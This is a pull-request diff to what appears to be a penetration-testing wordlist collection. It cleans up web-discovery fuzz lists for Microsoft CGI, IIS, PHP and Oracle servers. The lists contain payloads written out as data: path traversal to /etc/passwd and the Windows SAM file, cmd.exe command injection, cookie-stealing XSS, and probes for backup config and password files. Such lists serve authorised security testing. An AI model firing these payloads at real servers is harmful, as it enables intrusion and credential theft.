Merge pull request #56 from g0tmi1k/empty

Mass Clean up

Discovery/Web_Content/CGI_Microsoft.fuzz.txt

@@ -20,10 +20,6 @@
 /mkilog.exe
 /mkplog.exe
 /MsmMask.exe?mask=/junk334
-/MsmMask.exe?mask=/junk334
-/MsmMask.exe?mask=/junk334
-/MsmMask.exe?mask=/junk334
-/MsmMask.exe?mask=/junk334
 /perl.exe?-v
 /perl.exe
 /ppdscgi.exe
@@ -48,7 +44,6 @@
 /texis.exe/junk
 /apexec.pl?etype=odp&template=../../../../../../../../../../etc/passwd%00.html&passurl=/category/
 /sensepost.exe?/c+dir
-/testcgi.exe
 /testcgi.exe?<script>alert(document.cookie)</script>
 /ion-p.exe?page=c:\winnt\repair\sam
 /../../../../../../../../../../WINNT/system32/ipconfig.exe

Discovery/Web_Content/CMS/backup_files.txt

@@ -1,64 +1,74 @@
-wp-config.php-
-wp-config.php.bak
-wp-config.php.save
-wp-config.php.swp
-wp-config.php.swo
-wp-config.php.conf
-wp-config.php.old
-wp-config.txt 
-wp-config.php~
-config.php-
-config.php.bak
-config.php.save
-config.php.swp
-config.php.swo
-config.php.conf
-config.php.old
-config.txt
-config.php~
-configuration.php-
-configuration.php.bak
-configuration.php.save
-configuration.php.swp
-configuration.php.swo
-configuration.php.conf
-configuration.php.old
-configuration.txt
-configuration.php~
-LocalSettings.php-
-LocalSettings.php.bak
-LocalSettings.php.save
-LocalSettings.php.swp
-LocalSettings.php.swo
-LocalSettings.php.conf
-LocalSettings.php.old
-LocalSettings.txt
-LocalSettings.php~
-mt-config.cgi-
-mt-config.cgi.bak
-mt-config.cgi.save
-mt-config.cgi.swp
-mt-config.cgi.swo
-mt-config.cgi.conf
-mt-config.cgi.old
-mt-config.txt
-mt-config.cgi~
-settings.php-
-settings.php.bak
-settings.php.save
-settings.php.swp
-settings.php.swo
-settings.php.conf
-settings.php.old
-settings.txt
-settings.cgi~
-settings.php~
-setup.php-
-setup.php.bak
-setup.php.save
-setup.php.swp
-setup.php.swo
-setup.php.conf
-setup.php.old
-setup.txt
-setup.php~             
+# on windows, cgi dir is usually /scripts /cgi /cgi-bin, but could be named anything or be the webroot.
+/cart32.exe
+/get32.exe
+/visadmin.exe
+/foxweb.exe
+/webplus.exe?about
+/fpsrvadm.exe
+/MsmMask.exe
+/cmd.exe?/c+dir
+/cmd1.exe?/c+dir
+/post32.exe|dir%20c:\\
+/cgitest.exe
+/hpnst.exe?c=p+i=
+/Pbcgi.exe
+/testcgi.exe
+/webfind.exe?keywords=01234567890123456789
+/redir.exe?URL=http%3A%2F%2Fwww%2Egoogle%2Ecom%2F%0D%0A%0D%0A%3C
+/test-cgi.exe?<script>alert(document.cookie)</script>
+/athcgi.exe?command=showpage&script='],[0,0]];alert('Vulnerable');a=[['
+/mkilog.exe
+/mkplog.exe
+/MsmMask.exe?mask=/junk334
+/perl.exe?-v
+/perl.exe
+/ppdscgi.exe
+/c32web.exe/ChangeAdminPassword
+/windmail.exe
+/dbmlparser.exe
+/cgimail.exe
+/minimal.exe
+/rguest.exe
+/visitor.exe
+/webbbs.exe
+/wguest.exe
+//_vti_bin/fpcount.exe?Page=default.htm|Image=3|Digits=15
+/cfgwiz.exe
+/Cgitest.exe
+/mailform.exe
+/post16.exe
+/imagemap.exe
+/htimage.exe/path/filename?2,2
+/htimage.exe
+/Webnews.exe
+/texis.exe/junk
+/apexec.pl?etype=odp&template=../../../../../../../../../../etc/passwd%00.html&passurl=/category/
+/sensepost.exe?/c+dir
+/testcgi.exe?<script>alert(document.cookie)</script>
+/ion-p.exe?page=c:\winnt\repair\sam
+/../../../../../../../../../../WINNT/system32/ipconfig.exe
+/NUL/../../../../../../../../../WINNT/system32/ipconfig.exe
+/PRN/../../../../../../../../../WINNT/system32/ipconfig.exe
+/c32web.exe/GetImage?ImageName=CustomerEmail.txt%00.pdf
+/foxweb.dll
+/wconsole.dll
+/shtml.dll
+/scripts/slxweb.dll/getfile?type=Library&file=[invalid
+/filename]
+/rightfax/fuwww.dll/?
+/WINDMAIL.EXE?%20-n%20c:\boot.ini%
+/WINDMAIL.EXE?%20-n%20c:\boot.ini%20Hacker@hax0r.com%20|%20dir%20c:\\
+/GW5/GWWEB.EXE
+/GW5/GWWEB.EXE?GET-CONTEXT&HTMLVER=AAA
+/GW5/GWWEB.EXE?HELP=bad-request
+/GWWEB.EXE?HELP=bad-request
+/echo.bat
+/echo.bat?&dir+c:\\
+/hello.bat?&dir+c:\\
+/input.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\
+/input2.bat?|dir
+/input2.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\
+/test-cgi.bat
+/test.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\
+/tst.bat|dir%20..\\..\\..\\..\\..\\..\\..\\..\\,
+/_layouts/help.aspx?cid0=MS.WSS.manifest.xml%00%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E&tid=X

Discovery/Web_Content/Common_PHP_Filenames.txt

@@ -909,7 +909,6 @@ dbtable.php
 db_printview.php
 db_create.php
 database_tables.php
-d.php
 custom.php
 cookie_usage.php
 contact_us.php
@@ -939,7 +938,6 @@ catalog.php
 callback.php
 cache.class.php
 ca_ES.php
-c.php
 bzip2.php
 buffer.php
 box.php
@@ -2155,7 +2153,6 @@ Ar.php
 AlphaValue.php
 AdminPage.php
 AAAA.php
-A.php
 4.php
 2.php
 1.php
@@ -2787,7 +2784,6 @@ sadtab_del.php
 sadtab_chpw.php
 sadt_userlist.php
 s_col_dx.php
-s.php
 russian.lng.php
 runwizardlog.php
 runwizard.inc.php
@@ -3533,7 +3529,6 @@ labs.php
 labels.inc.php
 label.php
 la_arr.php
-l.php
 klonecpp.php
 klonec.php
 kixtart.php
@@ -3703,7 +3698,6 @@ idv_mailin_form.php
 idv3_settings.php
 icons.php
 icalendar_import.php
-i.php
 hw2.php
 hw.php
 hungarian.lng.php
@@ -3757,7 +3751,6 @@ headlines.class.php
 header.php.bak
 haskell.php
 handlevirus.php
-h.php
 gui.php
 gtickets.php
 groups.setts.php
@@ -3839,7 +3832,6 @@ gallery.lang_es.php
 gallery.lang_en.php
 gallery.lang_de.php
 galaxy.php
-g.php
 functions_users.php
 functions_recent.php
 functions_phpbb.php
@@ -3960,7 +3952,6 @@ facultyEN.php
 faculty.php
 f_utility_lek.php
 f_utility.php
-f.php
 extrainfo.php
 extrafields.php
 extrafield.php
@@ -4098,7 +4089,6 @@ ebank_ok.php
 ebank_nok.php
 easypopulate.php
 easiertube.php
-e.php
 dv.php
 dutiesEN.php
 duties.php
@@ -4653,7 +4643,6 @@ backuphw.php
 backup_scheduled.php
 backendt.php
 backendjs.php
-b.php
 awardsEN.php
 avisynth.php
 avatars.php
@@ -4903,7 +4892,6 @@ a_head.php
 a_fine_pannello.php
 a_fine_lingue.php
 a_fine.php
-a.php
 _mailform.php
 _default.php
 _conf.php

Discovery/Web_Content/IIS.fuzz.txt

@@ -151,7 +151,6 @@
 /_vti_adm/
 /_vti_aut/
 /_vti_bin/
-/_vti_bin/
 /_vti_bin/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir
 /_vti_bin/fpcount.exe?Page=default.asp|Image=3
 /_vti_bin/shtml.dll
@@ -163,7 +162,6 @@
 /_vti_cnf/
 /_vti_log/
 /_vti_pvt/
-/_vti_pvt/
 /_vti_pvt/administrator.pwd
 /_vti_pvt/administrators.pwd
 /_vti_pvt/authors.pwd

Discovery/Web_Content/OracleAppServer.fuzz.txt

@@ -51,7 +51,6 @@
 /ccore
 /cgi-bin
 /console
-/console
 /console/*
 /console/help/*
 /dav_public
@@ -66,7 +65,6 @@
 /dmsoc4j
 /dmsoc4j/AggreSpy
 /dynamicImage
-/dynamicImage
 /dynamicImage/*
 /echo
 /echo2
@@ -97,7 +95,6 @@
 /index.html
 /index.jsp
 /index_jsp
-/index_jsp
 /j2ee
 /javacachedocs
 /jmsrouter

Discovery/Web_Content/PHP.fuzz.txt

@@ -13,7 +13,6 @@
 /php.ini
 /php.ini~
 /php
-/phpsecinfo
 /phpinfo
 /phpMyAdmin
 /phpmyadmin
@@ -58,7 +57,6 @@
 /phpMyAdmin-2.6.1-pl3
 /phpMyAdmin-2.6.2-rc1
 /phpMyAdmin-2.6.2-beta1
-/phpMyAdmin-2.6.2-rc1
 /phpMyAdmin-2.6.2
 /phpMyAdmin-2.6.2-pl1
 /phpMyAdmin-2.6.3

Discovery/Web_Content/Passwords.fuzz.txt

@@ -43,5 +43,4 @@
 /passwd.txt
 /server.cfg
 /pass.dat
-/phpinfo.php
 /admin.dat